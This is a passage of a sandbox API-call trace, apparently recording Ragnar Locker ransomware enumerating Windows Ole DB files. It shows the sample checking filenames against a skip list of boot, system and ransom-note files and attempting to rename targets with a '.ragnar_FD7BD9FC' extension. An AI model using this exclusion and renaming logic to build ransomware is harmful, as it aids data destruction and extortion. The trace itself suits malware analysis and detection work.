[0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="ntuser.dat") returned -1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="ntuser.ini") returned -1 [0078.650] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="thumbs.db") returned -1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.650] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0078.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.652] CloseHandle (hObject=0xffffffff) returned 0 [0078.652] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" [0078.652] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.ragnar_FD7BD9FC" [0078.652] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.652] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0078.652] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.652] lstrcpyW (in: lpString1=0x1eab54, lpString2="oledb32r.dll.mui" | out: lpString1="oledb32r.dll.mui") returned="oledb32r.dll.mui" [0078.652] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned=".mui" [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="autorun.inf") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="boot.ini") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="bootfont.bin") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="bootsect.bak") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="bootmgr") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="desktop.ini") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="iconcache.db") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="ntldr") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="ntuser.dat") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="ntuser.dat.log") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="ntuser.ini") returned 1 [0078.652] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="thumbs.db") returned -1 [0078.652] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.652] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.652] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.652] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.652] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.653] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.653] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0078.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.653] CloseHandle (hObject=0xffffffff) returned 0 [0078.653] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" [0078.653] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.ragnar_FD7BD9FC" [0078.653] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.654] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.654] lstrcpyW (in: lpString1=0x1eab54, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.654] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.654] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0078.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.654] lstrcpyW (in: lpString1=0x1eab54, lpString2="sqloledb.rll.mui" | out: lpString1="sqloledb.rll.mui") returned="sqloledb.rll.mui" [0078.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned=".mui" [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="autorun.inf") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="boot.ini") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="bootfont.bin") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="bootsect.bak") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="bootmgr") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="bootmgr.efi") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="bootmgfw.efi") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="desktop.ini") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="iconcache.db") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="ntldr") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="ntuser.dat") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="ntuser.dat.log") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="ntuser.ini") returned 1 [0078.654] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="thumbs.db") returned -1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.654] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0078.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.655] CloseHandle (hObject=0xffffffff) returned 0 [0078.655] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" [0078.655] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.ragnar_FD7BD9FC" [0078.655] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.655] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0078.655] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x39 [0078.655] lstrcpyW (in: lpString1=0x1eab54, lpString2="sqlxmlx.rll.mui" | out: lpString1="sqlxmlx.rll.mui") returned="sqlxmlx.rll.mui" [0078.655] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned=".mui" [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="autorun.inf") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="boot.ini") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="bootfont.bin") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="bootsect.bak") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="bootmgr") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="bootmgr.efi") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="bootmgfw.efi") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="desktop.ini") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="iconcache.db") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="ntldr") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="ntuser.dat") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="ntuser.dat.log") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="ntuser.ini") returned 1 [0078.655] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="thumbs.db") returned -1 [0078.655] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.656] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0078.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.656] CloseHandle (hObject=0xffffffff) returned 0 [0078.656] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" [0078.656] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.ragnar_FD7BD9FC" [0078.656] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.656] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0078.656] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0078.656] lstrcmpiW (lpString1="msdaosp.dll", lpString2=".") returned 1 [0078.656] lstrcmpiW (lpString1="msdaosp.dll", lpString2="..") returned 1 [0078.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0078.656] lstrcmpiW (lpString1="msdaps.dll", lpString2=".") returned 1 [0078.656] lstrcmpiW (lpString1="msdaps.dll", lpString2="..") returned 1 [0078.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0078.656] lstrcmpiW (lpString1="msdasql.dll", lpString2=".") returned 1 [0078.656] lstrcmpiW (lpString1="msdasql.dll", lpString2="..") returned 1 [0078.656] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="msdasqlr.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="msdatl3.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="msdatl3.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="msxactps.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="msxactps.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="oledb32.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="oledb32.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="oledb32r.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="..") returned 1 [0078.657] FindNextFileW (in: 